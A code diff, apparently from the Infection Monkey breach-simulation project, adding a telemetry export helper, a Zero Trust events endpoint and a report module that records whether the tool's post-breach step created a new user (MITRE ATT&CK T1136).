@staticmethod
|
||||||
|
def store_test_telem(f):
|
||||||
|
@wraps(f)
|
||||||
|
def decorated_function(*args, **kwargs):
|
||||||
|
if ConfigService.is_test_telem_export_enabled():
|
||||||
|
time = datetime.now()
|
||||||
|
method = request.method
|
||||||
|
content = request.data.decode()
|
||||||
|
endpoint = request.path
|
||||||
|
name = str(request.url_rule).replace('/', '_').replace('<', '_').replace('>', '_').replace(':', '_')
|
||||||
|
TestTelem(name=name, method=method, endpoint=endpoint, content=content, time=time).save()
|
||||||
|
return f(*args, **kwargs)
|
||||||
|
|
||||||
|
return decorated_function
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def export_test_telems():
|
||||||
|
logger.info(f"Exporting all telemetries to {TELEM_SAMPLE_DIR}")
|
||||||
|
try:
|
||||||
|
mkdir(TELEM_SAMPLE_DIR)
|
||||||
|
except FileExistsError:
|
||||||
|
logger.info("Deleting all previous telemetries.")
|
||||||
|
shutil.rmtree(TELEM_SAMPLE_DIR)
|
||||||
|
mkdir(TELEM_SAMPLE_DIR)
|
||||||
|
for test_telem in TestTelem.objects():
|
||||||
|
with open(TestTelemStore.get_unique_file_path_for_test_telem(TELEM_SAMPLE_DIR, test_telem), 'w') as file:
|
||||||
|
file.write(test_telem.to_json(indent=2))
|
||||||
|
TestTelemStore.TELEMS_EXPORTED = True
|
||||||
|
logger.info("Telemetries exported!")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_unique_file_path_for_test_telem(target_dir: str, test_telem: TestTelem):
|
||||||
|
telem_filename = TestTelemStore._get_filename_by_test_telem(test_telem)
|
||||||
|
for i in range(MAX_SAME_CATEGORY_TELEMS):
|
||||||
|
potential_filepath = path.join(target_dir, (telem_filename + str(i)))
|
||||||
|
if path.exists(potential_filepath):
|
||||||
|
continue
|
||||||
|
return potential_filepath
|
||||||
|
raise Exception(f"Too many telemetries of the same category. Max amount {MAX_SAME_CATEGORY_TELEMS}")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def _get_filename_by_test_telem(test_telem: TestTelem):
|
||||||
|
endpoint_part = test_telem.name
|
||||||
|
return endpoint_part + '_' + test_telem.method
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
TestTelemStore.export_test_telems()
|
|
@ -0,0 +1,12 @@
|
||||||
|
import flask_restful
|
||||||
|
import json
|
||||||
|
|
||||||
|
from monkey_island.cc.auth import jwt_required
|
||||||
|
from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService
|
||||||
|
|
||||||
|
|
||||||
|
class ZeroTrustFindingEvent(flask_restful.Resource):
|
||||||
|
|
||||||
|
@jwt_required()
|
||||||
|
def get(self, finding_id: str):
|
||||||
|
return {'events_json': json.dumps(ZeroTrustService.get_events_by_finding(finding_id), default=str)}
|
|
@ -120,7 +120,7 @@ class AttackConfig(object):
|
||||||
def set_bool_conf_val(path, val, monkey_config):
|
def set_bool_conf_val(path, val, monkey_config):
|
||||||
"""
|
"""
|
||||||
Changes monkey's configuration by setting one of its boolean fields value
|
Changes monkey's configuration by setting one of its boolean fields value
|
||||||
:param path: Path to boolean value in monkey's configuration. E.g. ['monkey', 'system_info', 'should_use_mimikatz']
|
:param path: Path to boolean value in monkey's configuration. ['monkey', 'system_info', 'should_use_mimikatz']
|
||||||
:param val: Boolean
|
:param val: Boolean
|
||||||
:param monkey_config: Monkey's configuration
|
:param monkey_config: Monkey's configuration
|
||||||
"""
|
"""
|
||||||
|
@ -183,5 +183,5 @@ class AttackConfig(object):
|
||||||
techniques = {}
|
techniques = {}
|
||||||
for type_name, attack_type in list(attack_config.items()):
|
for type_name, attack_type in list(attack_config.items()):
|
||||||
for key, technique in list(attack_type['properties'].items()):
|
for key, technique in list(attack_type['properties'].items()):
|
||||||
techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']}
|
techniques[key] = {'selected': technique['value'], 'type': SCHEMA['properties'][type_name]['title']}
|
||||||
return techniques
|
return techniques
|
||||||
|
|
|
@ -4,6 +4,7 @@ from monkey_island.cc.models import Monkey
|
||||||
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
|
from monkey_island.cc.services.attack.technique_reports import T1210, T1197, T1110, T1075, T1003, T1059, T1086, T1082
|
||||||
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
|
from monkey_island.cc.services.attack.technique_reports import T1145, T1105, T1065, T1035, T1129, T1106, T1107, T1188
|
||||||
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
|
from monkey_island.cc.services.attack.technique_reports import T1090, T1041, T1222, T1005, T1018, T1016, T1021, T1064
|
||||||
|
from monkey_island.cc.services.attack.technique_reports import T1136
|
||||||
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
from monkey_island.cc.services.attack.attack_config import AttackConfig
|
||||||
from monkey_island.cc.database import mongo
|
from monkey_island.cc.database import mongo
|
||||||
from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report
|
from monkey_island.cc.services.reporting.report_generation_synchronisation import safe_generate_attack_report
|
||||||
|
@ -35,7 +36,8 @@ TECHNIQUES = {'T1210': T1210.T1210,
|
||||||
'T1018': T1018.T1018,
|
'T1018': T1018.T1018,
|
||||||
'T1016': T1016.T1016,
|
'T1016': T1016.T1016,
|
||||||
'T1021': T1021.T1021,
|
'T1021': T1021.T1021,
|
||||||
'T1064': T1064.T1064
|
'T1064': T1064.T1064,
|
||||||
|
'T1136': T1136.T1136
|
||||||
}
|
}
|
||||||
|
|
||||||
REPORT_NAME = 'new_report'
|
REPORT_NAME = 'new_report'
|
||||||
|
|
|
@ -66,6 +66,22 @@ SCHEMA = {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
"persistence": {
|
||||||
|
"title": "Persistence",
|
||||||
|
"type": "object",
|
||||||
|
"link": "https://attack.mitre.org/tactics/TA0003/",
|
||||||
|
"properties": {
|
||||||
|
"T1136": {
|
||||||
|
"title": "Create account",
|
||||||
|
"type": "bool",
|
||||||
|
"value": True,
|
||||||
|
"necessary": False,
|
||||||
|
"link": "https://attack.mitre.org/techniques/T1136",
|
||||||
|
"description": "Adversaries with a sufficient level of access "
|
||||||
|
"may create a local system, domain, or cloud tenant account."
|
||||||
|
}
|
||||||
|
}
|
||||||
|
},
|
||||||
"defence_evasion": {
|
"defence_evasion": {
|
||||||
"title": "Defence evasion",
|
"title": "Defence evasion",
|
||||||
"type": "object",
|
"type": "object",
|
||||||
|
|
|
@ -0,0 +1,38 @@
|
||||||
|
from monkey_island.cc.services.attack.technique_reports import AttackTechnique
|
||||||
|
from monkey_island.cc.services.reporting.report import ReportService
|
||||||
|
from common.utils.attack_utils import ScanStatus
|
||||||
|
from common.data.post_breach_consts import POST_BREACH_BACKDOOR_USER, POST_BREACH_COMMUNICATE_AS_NEW_USER
|
||||||
|
|
||||||
|
__author__ = "shreyamalviya"
|
||||||
|
|
||||||
|
|
||||||
|
class T1136(AttackTechnique):
|
||||||
|
tech_id = "T1136"
|
||||||
|
unscanned_msg = "Monkey didn't try creating a new user on the network's systems."
|
||||||
|
scanned_msg = "Monkey tried creating a new user on the network's systems, but failed."
|
||||||
|
used_msg = "Monkey created a new user on the network's systems."
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_report_data():
|
||||||
|
data = {'title': T1136.technique_title()}
|
||||||
|
|
||||||
|
scanned_nodes = ReportService.get_scanned()
|
||||||
|
status = ScanStatus.UNSCANNED.value
|
||||||
|
for node in scanned_nodes:
|
||||||
|
if node['pba_results'] != 'None':
|
||||||
|
for pba in node['pba_results']:
|
||||||
|
if pba['name'] in [POST_BREACH_BACKDOOR_USER,
|
||||||
|
POST_BREACH_COMMUNICATE_AS_NEW_USER]:
|
||||||
|
status = ScanStatus.USED.value if pba['result'][1]\
|
||||||
|
else ScanStatus.SCANNED.value
|
||||||
|
data.update({
|
||||||
|
'info': [{
|
||||||
|
'machine': {
|
||||||
|
'hostname': pba['hostname'],
|
||||||
|
'ips': node['ip_addresses'],
|
||||||
|
},
|
||||||
|
'result': ': '.join([pba['name'], pba['result'][0]])
|
||||||
|
}]
|
||||||
|
})
|
||||||
|
data.update(T1136.get_base_data_by_status(status))
|
||||||
|
return data
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue